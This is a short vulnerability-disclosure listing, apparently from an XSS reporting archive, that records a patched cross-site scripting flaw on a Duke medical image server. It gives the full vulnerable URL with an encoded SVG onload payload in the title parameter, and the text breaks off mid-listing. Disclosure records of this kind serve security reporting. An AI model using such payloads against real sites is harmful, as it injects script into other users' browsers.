medspace.mc.duke.edu XSS vulnerability

Vulnerable URL: https://medspace.mc.duke.edu/ImageServer/awimagenav.jsp?title=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E=pcshospital03801.j2k=0 Details: Description| Value ---|--- Patched:| Yes, at 30.01.2016 Latest check for patch:| 30.01.2016 23:51 GMT Vulnerability type:| XSS Vulnerability...